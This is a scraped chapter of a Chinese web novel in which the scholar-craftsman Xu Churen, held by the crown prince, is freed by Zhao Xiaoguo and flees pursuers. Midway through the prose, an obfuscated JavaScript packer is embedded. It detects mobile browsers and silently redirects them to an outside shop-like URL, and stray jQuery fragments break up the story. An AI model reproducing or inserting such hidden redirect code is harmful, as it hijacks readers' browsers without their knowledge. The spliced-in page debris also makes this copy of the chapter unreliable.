51. 第 51 章
作品:《不要捡男人》 “有消息吗?”
“回大人,没有。”
严大人在屋里焦急踱步,半响后狠狠拍了下桌子。“肯定是太子动的手。”
距离天上龙出现,已经过去三日了,三日之前的晚上,徐褚仁便不知所踪。
严大人沉吟片刻,换了身衣服进宫觐见。
来的时候太子去探望皇帝了,如今皇帝虽醒,但动弹不得无法说话,太医说积毒颇深,太子只得继续代理朝政,不过太子挑着重要的奏折念给皇帝听,此刻正是在给皇帝念奏折,有宫人来报说严大人求见,太子颔首。
将奏折放在桌子上,原本坐在地上的太子缓缓起身,动作轻柔的给皇帝掖了掖被角,温声道:“父皇,儿臣要去见严大人了,其实,儿臣能猜到他为何而来。父皇曾教导儿臣心怀若谷,所以儿臣做事才不如父皇那般干脆利落。”
老皇帝浑浊的眼珠子转了转,太子叹口气道:“做不到斩草除根。”
……
“殿下,老臣便开门见山了,敢问太子殿下,徐褚仁现在在何处?”
太子诧异:“他在何处,本宫怎会知晓?”
“想要处理掉国师,确实有千万种办法,但他深得帝心,宫中所有人无不尊他怕他,想要在众目睽睽之下破其威信,简直是难于登天。但徐贤侄帮忙想到办法,那条龙栩栩如生,不仅破了国师的威信和所谓大能,还将其重伤。”
“老臣用命担保,他不会告密,还请殿下放了他。”
那日的所谓飞龙在天,完全是太子、严大人、徐褚仁三方做的戏。在与太子合作之前,严大人曾警告过徐褚仁,皇家之人多薄情不可信,但徐褚仁说,只要能给父亲平冤昭雪,他愿意以身涉险。
操控一条龙在天上飞有多难自不必提,最难的是要在事后销毁踪迹。徐褚仁心思缜密,当即提到在开始之前放炮竹和焰火,到时候他们销毁踪迹时弄出声响也不会被人怀疑。
严大人派人协助徐褚仁,但他的人回来禀告说徐褚仁不见了。
聪慧如严大人,猜测要么是徐褚仁远离京城,要么是被人抓起来了。不过当时定安侯府昭雪一事还未昭告天下,那么,就只能是后者。
与太子合作,无异于与虎谋皮。
一方面派人寻找,另一方面直接问到正主面前。
严大人知道他不会承认,但他根据太子的品行,认定徐褚仁应当还活着。一来太子心软,二来徐褚仁是难得的偃师,太子大概会囚困徐褚仁,让他为太子所用。
与其互相交锋,不如直言不讳。
严大人说罢跪了下去,“还请殿下看在定安侯忠勇一世,徐贤侄勇立大功的份上,放他一条生路。”
半响之后,太子扯着唇角笑:“大人严重了,或许,他不日便会与大人再见。”
严大人当即激动叩谢。
……
与此同时,一间小屋里,徐褚仁端坐在椅子上,吃完桌前的饭菜后,站起身将碗筷一应摆好重新放回食盒里。
房门紧闭,倒是窗子留了一道缝隙,他将食盒放在桌边的桌子上,不消一刻,便有人拿走,迅速程度让人以为徐褚仁是洪水猛兽。
外面看守之人倒是不多,徐褚仁在屋中踱步,闭着眼睛听外面动静。果然,又到了换岗的时辰。
听脚步声,门口只有两个人,加上外面值守的士兵,总数约十人。
徐褚仁不是没想过逃跑,可守卫森严不说,若逃脱不成会打草惊蛇。现在他没有性命之忧,太子任人唯贤,想必是要重用他,但又担心徐褚仁将“龙”一事说出去。纠结之下,将徐褚仁秘密扣押在此。
百无聊赖之际,想起最多的竟然是赵小果。不知她可还好?皇帝昏倒事件查明之后,想必会放了羁押那些大臣,赵府的围禁也会解除。
她聪明伶俐,想必能照顾好自己。
正当胡思乱想之际,听见外面有动静,徐褚仁几步来到门前,贴着门板,听见守卫之人小声说话。
“那是什么?是鸟吗?”
“这鸟长的好小啊,比麻雀还小上一圈,哎,你看,直勾勾的飞。”
“傻鸟呗,看我打下来。”
没一会,就听见外面有东西落地的声音。
“什么玩意?木头鸟?”
“奇了怪了,赶紧扔了,别,还是直接烧了吧。”
其中一个守卫反应迅速,指了指屋里,又指了指木头鸟。另外一个守卫反应过来,怕有什么阴谋,直接将那木头鸟烧了。
外面的动静徐褚仁听的清清楚楚,那木头鸟显然是飞天鸷,可乌云和立冬早就被他调走,一旬之内不可能回到京城。
他眉头皱起,想到了一个最不可能的答案。
……
天色将亮未亮时,外面一点声响都足以让紧绷的徐褚仁醒来,他立刻靠近门,在听见是婆子来做饭后,竟莫名松了口气。
乌云和立冬不在,那只飞天鸷,只能是赵小果的小檀。
虽不知她是如何找到这里,但徐褚仁念着她心思单纯,怕她贸然闯入救他。如今他对太子有用所以暂无危险,但赵小果的下场显然不会好。
徐褚仁思绪烦乱,早上送来的吃食里只用了一颗鸡蛋,剩下的粥和饼原样送了回去。
等守卫将食盒拿走后,徐褚仁谨慎的来到床边,弯下腰,将床板缝隙里藏着的小刀拿出来,随后在屋里巡视一圈,最后视线落在床边摆放的小柜上。
动作利落的拆开柜子,弄出的一点声响引起外面注意,守卫敲门问道:“公子,有什么需要帮忙的吗?”
他们这些人听从太子指令,在此守着徐褚仁,知道太子是惜才之人,能顺利扳倒国师,徐褚仁功不可没,因此众人对他客客气气,从不为难。
但同时也知道,徐褚仁不仅头脑过人,而且身手矫健。当时“请”徐褚仁过来时候,原以为会费一番功夫,却不想他像是早有预料般,安安静静跟着他们走了。
这些天以来也一直安安静静,甚少像现在这般弄出动静。
“无事。”屋里传来应答。
两个守卫对视一眼,认为没有看的必要,毕竟当时搜过身,徐褚仁除了一身衣裳,什么都没带进去。
之后,徐褚仁格外小心,没再弄出声响。因为刀具不趁手,他手被划出数道口子,但他浑然不在意,用了不到一个时辰,柜子消失,桌上多了数十支巴掌长的短箭。
将腰带解下,刀尖挑过花纹处的结扣,随后指尖捻出细丝。几十根细丝凝聚在一起,被徐褚仁安放在做好的机关上,最后被他戴在手腕处,数箭连发,竟然只发出微弱的声响,最后射在了床垫上。
徐褚仁起身将那些短箭拔下,又用木头做的工具插在窗户缝隙里。
只要他想,便可以将窗户卸掉,寻一个守卫最不薄弱的时机冲破重围。
就在这时外面传来骚乱声。
“哎哎,你怎么回事?”
守卫之一说了句好困,随后靠在门上就睡着了,另外一个刚扒拉他两下,突然觉得眼皮发沉,最后倒在地上。
其他侍卫们陆陆续续倒了下去,唯剩下两个人清醒。一个面如菜色:“糟了,饭菜有毒!”
另一个也觉得脚下不稳,但他坚持着从怀里掏出一个东西,呲啦一声响,窜向天际。
只剩下一个人,他满脸紧张的盯着大门处,不知道支援先到,还是敌袭先来。然而大门处安安静静,不像是有敌人要来的样子。
可他不敢放松警惕,一点风吹草动都会引起他的注意。
因此墙边有重物落地声时,那人立刻提剑冲了过去,然而当他看清楚是什么时,他脸上充满疑惑。
灰头土脸的一个姑娘,裤腿在跳墙时候还被扯烂一块,露出白花花的小腿,漂亮的眉眼里写着紧张和不安,在他提剑冲来时连忙摆手道:“误会,都是误会,我是隔壁人家,走错路了。”
“编瞎话也不会编,我们隔壁几乎都无人居住,小贼,拿命来!”
什么怜香惜玉,通通不存在,那人眼含杀气,赵小果连忙在地上滚了一圈,避开一击,然而那锋利剑刃直接横扫过来,赵小果脑子知道该往后仰躲开,可她不会功夫动作缓慢,到底被剑尖划过胳膊,当时没觉得疼,可片刻后剧痛袭来,她一手捂着伤处,扯着嗓子喊:“徐褚仁,你在不在!”
砰砰——
巨大响动在院子里,那人分心看了过去,就见锁住的门窗被震的发颤。铁锁如同人拳头大小,按理来说从里面震不碎才是,但没想到整个窗子被人直接踹开。
“你果然在这。”赵小果疼的呲牙咧嘴,那人也终于明白,这个小女贼竟然独身来救徐褚仁。
很快,徐褚仁就和那人缠斗在一起,对方是东宫暗卫,身手不凡,高手过招,招招致命,二人俱是挂了彩。
这时候有个守卫迷迷糊糊的睁开眼,被赵小果眼疾手快,两只手合在一起并用当手刀,敲在对方后脖颈子处,那人软绵绵倒了下去。
而那边,徐褚仁无意杀人,短箭点了对方穴位,趁机夺刀将人打晕。
“走。”徐褚仁抓住赵小果的胳膊,打算直接带人从墙上走。
赵小果有无数的话想对他说,不过先吐出一句:“我们为何不走门?”
自然是怕迎面碰上援兵,徐褚仁嘴唇微启,耳朵听见一阵嘈杂脚步声,来不及说什么,立刻提着赵小果先将她扔上墙头。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067484|184679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“徐褚仁,你快来。”
赵小果蹲在墙头看的远,已经瞧见正门外的道路上来了数个人,各个凶神恶煞的模样。
她伸手,意图让徐褚仁将手过来,她拉他一把。然而徐褚仁却只是转头看她,说了句:“你先走。”
赵小果怒了:“我废了九牛二虎之力,难道是为了听你说废话吗?别耽误功夫,要走一起走。”
徐褚仁抿了下唇,脚尖轻点,直接上了墙头,然后揽着赵小果跳下去,迅速消失在巷子里。
没过一会,正门被踹开,见院子里躺了一群人,各个面带惧色。
“没死,呼吸均匀,看样子只是昏睡过去。”有人挨个探了探鼻息,可不管怎么叫就是叫不醒。
“怎么回事?”
……
“自然是吃了蒙汗药啊。”跟着徐褚仁飞快逃离的赵小果气喘吁吁,“还好你没吃,我和你说啊,为了救你当真是煞费苦心,你最好带我逃走别让他们抓到,否则真就是赔了夫人又折兵!”
徐褚仁忽地回身握住她的手,有他拽着果然省力不少,可现在天色大亮,想要藏起来难上加难,而且他们没跑出去多远,便从四面八方涌来不少人。
“他们人多势众,我们逃便是。”赵小果觉得唯有逃跑一计。
可想要逃脱着实困难,而且他们人生地不熟,待走到一处死胡同想要转身再跑时已经晚了。
“好生不识抬举啊,徐公子。”
这些人各个面相平平,可下肢有力,很显然都是太子得力干将。
若是老老实实待着,太子兴许不会拿徐褚仁怎么样,但他这一跑,下场只有一个。
死人的嘴巴最严。
“你一会躲角落里。”徐褚仁只来得及吩咐这一句,猛推赵小果肩头,赵小果借力后退几步,来得墙角处,等她再抬头时,徐褚仁已经和那些人交手了。
不行,得想个办法。
可赵小果不会武功,她急的团团转。而那些人为了留下徐褚仁的命,痛下杀手,徐褚仁双拳难敌四手,很快就挂了彩。
身体受伤自然会痛,但现在徐褚仁退无可退,更何况他身后还有人需要护着。片刻后,他肩膀中剑,这一剑刺的极深,那人甚至角度刁钻,意图从下到上将他胳膊卸下来。
徐褚仁一手握住,任由利刃划破手掌,抵抗住对方的力道后一脚踹在对方心口处,那人被踹倒,徐褚仁咬牙拔下肩膀上的剑,用剑对敌。
他不忘回头看一眼赵小果,却发现墙根底下早就没她的身影了。
徐褚仁迅速转回头不再分心,可脑子里却不受控制的在想,她到底是放弃了吗?
也是,他们关系平平,如今身陷险境,她离去也无可厚非。
徐褚仁抿着唇,出招越发狠厉,想着这些人只是为了他而来,不会去追击赵小果。
那就好。
“哎,快来。”胡思乱想的时候听见一阵娇喝,就见墙头探出个脑袋,一双圆溜溜的眼睛带着急色,“你快来呀!”
徐褚仁本不想过去,如今这局面,他若是过去无异于引火上她的身。可赵小果连声呼唤之下,引得那些人注意,徐褚仁必须过去拦住他们。
待离的近了,赵小果急声道:“跟我走。”
这时候已经有人爬上墙了,赵小果只能退下,一墙之隔,她看不见那边的情况,只听见铁器相击之音。
片刻后,有个人影翻墙而来,因为动作太快以至于赵小果没看清人,直到对方揽住她的腰,她才反应过来,跟着他跑。
“一会我将人引开,你往相反方向跑,尽快出城。”
徐褚仁抿了抿唇,从怀里掏出个东西塞进赵小果手心里。
“收好。”他说罢,回头看了一眼,追兵近在眼前。
来不及看徐褚仁给她的是什么,赵小果快速道:“前方拐弯,尽量托住他们,我……”
赵小果小声说完,徐褚仁眼神一亮。
身后的追兵如跗骨之蛆,青天白日之下胆敢作案,想要徐褚仁闭嘴的急切可想而知,眼看着前面俩人拐弯不见,追兵不顾一切的冲过去,然后就发现这是一个十字路口。
“兵分三路,追!”
几十个追兵分为三股散开,分别前往三个路口,方才一战他们的人折了几个,但也顺利将徐褚仁重创,而且他还带着一个女人,肯定跑不远。
可他们追了一道,竟然没发现人影,最可怕的是,他们不知为何兜兜转转又回到了十字路口。
“怎么回事?”
“哎,不对啊,怎么回来了?”
碰面的三队人俱是摸不清头脑,可他们困在这三条巷子里,鬼打墙似的出不去了。

